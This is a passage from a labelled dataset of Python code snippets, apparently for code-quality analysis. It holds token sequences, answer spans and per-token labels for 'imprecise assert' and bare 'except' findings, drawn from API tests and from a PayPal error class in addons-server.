"content": " def test_basic(self):\n self.api.basic()\n self.assertUrl(\"basic\")\n self.assertEquals(self.dummy.lastParams[\"parameters\"], dict())\n self.assertFalse(\"post_data\" in self.dummy.lastParams)",
"metadata": "root.RequestTests.test_basic",
"header": "['class', 'RequestTests', '(', 'ApiMethodTests', ')', ':', '___EOS___']",
"index": 132
},
{
"content": " def test_basic_post(self):\n self.api.post_basic()\n self.assertUrl(\"post_basic\")\n\n self.assertEquals(self.dummy.lastParams[\"post_data\"], dict())\n self.assertFalse(\"parameters\" in self.dummy.lastParams)",
"metadata": "root.RequestTests.test_basic_post",
"header": "['class', 'RequestTests', '(', 'ApiMethodTests', ')', ':', '___EOS___']",
"index": 138
},
{
"content": " def test_attachment_shallow(self):\n self.status.shallow_call()\n self.assertUrl(\"shallow_call\")\n\n # Shouldn't be supplying any extra data at this point.\n self.assertEquals(self.dummy.lastParams[\"parameters\"], dict())\n self.assertFalse(\"post_data\" in self.dummy.lastParams)",
"metadata": "root.ModelBlessingTests.test_attachment_shallow",
"header": "['class', 'ModelBlessingTests', '(', 'ApiMethodTests', ')', ':', '___EOS___']",
"index": 226
}
]
| [
{
"span": "self.assertTrue(\"post_data\" in self.dummy.lastParams)",
"start_line": 109,
"start_column": 8,
"end_line": 109,
"end_column": 61
},
{
"span": "self.assertTrue(\"def_param\" in self.dummy.lastParams[\"post_data\"])",
"start_line": 110,
"start_column": 8,
"end_line": 110,
"end_column": 74
},
{
"span": "self.assertTrue(\"some_param\" in self.dummy.lastParams[\"post_data\"])",
"start_line": 111,
"start_column": 8,
"end_line": 111,
"end_column": 75
},
{
"span": "self.assertFalse(\"post_data\" in self.dummy.lastParams)",
"start_line": 117,
"start_column": 8,
"end_line": 117,
"end_column": 62
},
{
"span": "self.assertTrue(\"parameters\" in self.dummy.lastParams)",
"start_line": 118,
"start_column": 8,
"end_line": 118,
"end_column": 62
},
{
"span": "self.assertFalse(\"def_param\" in self.dummy.lastParams[\"parameters\"])",
"start_line": 120,
"start_column": 8,
"end_line": 120,
"end_column": 76
},
{
"span": "self.assertTrue(\"some_param\" in self.dummy.lastParams[\"parameters\"])",
"start_line": 121,
"start_column": 8,
"end_line": 121,
"end_column": 76
},
{
"span": "self.assertFalse(\"post_data\" in self.dummy.lastParams)",
"start_line": 136,
"start_column": 8,
"end_line": 136,
"end_column": 62
},
{
"span": "self.assertFalse(\"parameters\" in self.dummy.lastParams)",
"start_line": 143,
"start_column": 8,
"end_line": 143,
"end_column": 63
},
{
"span": "self.assertFalse(\"post_data\" in self.dummy.lastParams)",
"start_line": 232,
"start_column": 8,
"end_line": 232,
"end_column": 62
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"YAM",
"LL",
"oad",
"ing",
"Tests_",
"(_",
"Ap",
"i",
"Meth",
"od",
"Tests_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"don",
"t",
"\\u",
"inherit",
"\\u",
"others_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"mig",
"ht",
" ",
"not",
" ",
"be",
" ",
"easy",
"!",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"parent_",
"=_",
"self_",
"._",
"api_",
"._",
"not",
"\\u",
"inherit",
"ing",
"\\u",
"others_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"child_",
"=_",
"parent_",
"._",
"descend",
"ent_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"parent_",
"(_",
"1_",
",_",
"some",
"\\u",
"param_",
"=_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"parent",
"\\u",
"url_",
"=_",
"self_",
"._",
"dummy_",
"._",
"last",
"Url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Assert",
" ",
"tha",
"t",
" ",
"the",
" ",
"last",
" ",
"request",
" ",
"was",
" ",
"as",
" ",
"descri",
"bed_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"post",
"\\u",
"data",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"def",
"\\u",
"param",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"post",
"\\u",
"data",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"some",
"\\u",
"param",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"post",
"\\u",
"data",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"post",
"\\u",
"data",
"\"_",
"]_",
"[_",
"\"",
"some",
"\\u",
"param",
"\"_",
"]_",
",_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"child_",
"(_",
"1_",
",_",
"some",
"\\u",
"param_",
"=_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Check",
" ",
"tha",
"t",
" ",
"the",
" ",
"child",
" ",
"was",
"n",
"'",
"t",
" ",
"still",
" ",
"set",
" ",
"as",
" ",
"POST_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"\"",
"post",
"\\u",
"data",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"parameter",
"s",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Al",
"so",
" ",
"check",
" ",
"tha",
"t",
" ",
"default",
" ",
"parameter",
" ",
"was",
"n",
"'",
"t",
" ",
"still",
" ",
"set",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"\"",
"def",
"\\u",
"param",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"parameter",
"s",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"\"",
"some",
"\\u",
"param",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"parameter",
"s",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equal_",
"(_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"parameter",
"s",
"\"_",
"]_",
"[_",
"\"",
"some",
"\\u",
"param",
"\"_",
"]_",
",_",
"0_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Request",
"Tests_",
"(_",
"Ap",
"i",
"Meth",
"od",
"Tests_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"test\\u",
"basic_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"api_",
"._",
"basic_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Url_",
"(_",
"\"",
"basic",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"parameter",
"s",
"\"_",
"]_",
",_",
"dict_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"\"",
"post",
"\\u",
"data",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Request",
"Tests_",
"(_",
"Ap",
"i",
"Meth",
"od",
"Tests_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"basic",
"\\u",
"post_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"api_",
"._",
"post",
"\\u",
"basic_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Url_",
"(_",
"\"",
"post",
"\\u",
"basic",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"post",
"\\u",
"data",
"\"_",
"]_",
",_",
"dict_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"False_",
"(_",
"\"",
"parameter",
"s",
"\"_",
"in_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Model",
"Ble",
"ssi",
"ng",
"Tests_",
"(_",
"Ap",
"i",
"Meth",
"od",
"Tests_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"attach",
"ment",
"\\u",
"shallow",
"_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"status_",
"._",
"shallow",
"\\u",
"call_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"Url_",
"(_",
"\"",
"shallow",
"\\u",
"call",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Sho",
"ul",
"dn",
"'",
"t",
" ",
"be",
" ",
"supply",
"ing",
" ",
"any",
" ",
"extra",
" ",
"data",
" ",
"at",
" ",
"this",
" ",
"point",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"Equals_",
"(_",
"self_",
"._",
"dummy_",
"._",
"last",
"Params_",
"[_",
"\"",
"parameter",
"s",
"\"_",
"]_",
",_",
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
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Except block handles 'BaseException' | mozilla/addons-server/src/olympia/paypal/__init__.py | [
{
"content": " def __str__(self):\n default = _('There was an error with this currency.')\n if self.paypal_data and 'currencyCode' in self.paypal_data:\n try:\n return (\n messages.get(self.id) %\n amo.PAYPAL_CURRENCIES[self.paypal_data['currencyCode']])\n # TODO: figure this out.\n except:\n pass\n return default",
"metadata": "root.CurrencyError.__str__",
"header": "['class', 'CurrencyError', '(', 'PaypalError', ')', ':', '___NEWLINE___', '# This currency was bad.', '___NL___', '___EOS___']",
"index": 48
}
]
| [
{
"span": "except:",
"start_line": 56,
"start_column": 12,
"end_line": 56,
"end_column": 19
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"Currenc",
"y",
"Error_",
"(_",
"Pay",
"pal",
"Error_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Thi",
"s",
" ",
"curr",
"ency",
" ",
"was",
" ",
"bad",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"str\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"default_",
"=_",
"\\u_",
"(_",
"'",
"There",
" ",
"was",
" ",
"an",
" ",
"error",
" ",
"with",
" ",
"this",
" ",
"curr",
"ency",
".'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"paypal",
"\\u",
"data_",
"and_",
"'",
"curr",
"ency",
"Code",
"'_",
"in_",
"self_",
"._",
"paypal",
"\\u",
"data_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"messages_",
"._",
"get_",
"(_",
"self_",
"._",
"id_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"amo",
"_",
"._",
"PAY",
"PAL",
"\\u",
"CURREN",
"CIE",
"S_",
"[_",
"self_",
"._",
"paypal",
"\\u",
"data_",
"[_",
"'",
"curr",
"ency",
"Code",
"'_",
"]_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"TOD",
"O",
":",
" ",
"figure",
" ",
"this",
" ",
"out",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"default_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.